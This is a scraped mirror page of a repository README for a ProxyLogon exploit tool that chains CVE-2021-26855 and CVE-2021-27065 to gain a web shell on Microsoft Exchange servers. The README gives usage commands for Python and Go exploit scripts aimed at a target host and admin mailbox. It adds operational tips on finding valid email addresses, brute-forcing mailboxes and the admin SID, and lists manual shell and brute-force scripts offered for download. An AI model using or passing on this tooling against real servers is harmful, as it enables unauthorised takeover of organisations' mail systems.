ProxyLogon

KO | EN

gitlite — search

#javascript #ai #typescript #llm #deep-learning #linux #docker #cli #kubernetes #vue #security #mcp #openai #open-source

(★ 9)

ProxyLogon (CVE-2021-26855+CVE-2021-27065) Exchange Server RCE (SSRF->GetWebShell)

ProxyLogon 최신버젼 다운로드

최종 버전 다운로드 (.zip)

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# ProxyLogon
ProxyLogon is the formally generic name for CVE-2021-26855, a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication and impersonating as the admin. We have also chained this bug with another post-auth arbitrary-file-write vulnerability, CVE-2021-27065, to get code execution.

## ProxyLogon For Python3
```python
usage:
    sudo python3 proxylogon.py --host=target.com --mail=admin@target.com
    sudo python3 proxylogon.py --host=target.com --mails=./mails.txt
```

## ProxyLogon For Go
```go
usage:
    go run proxylogon.go -u target.com -e admin@target.com
```

#### Tips:
1) recon target to find valid email address
2) if you do not find any email, use bruteforce target with your email file.
3) in some target automation exploit not work, you should bruteforce SID and replace in SID=500

### manual pentest 
```python
sudo python2 /manual/check.py 
sudo python2 /manual/shell.py 
sudo python2 /manual/brute.py 
```

#### references
* [proxylogon](https://proxylogon.com/)

ProxyLogon

ProxyLogon 최신버젼 다운로드

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

ProxyLogon

ProxyLogon 최신버젼 다운로드

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

Download README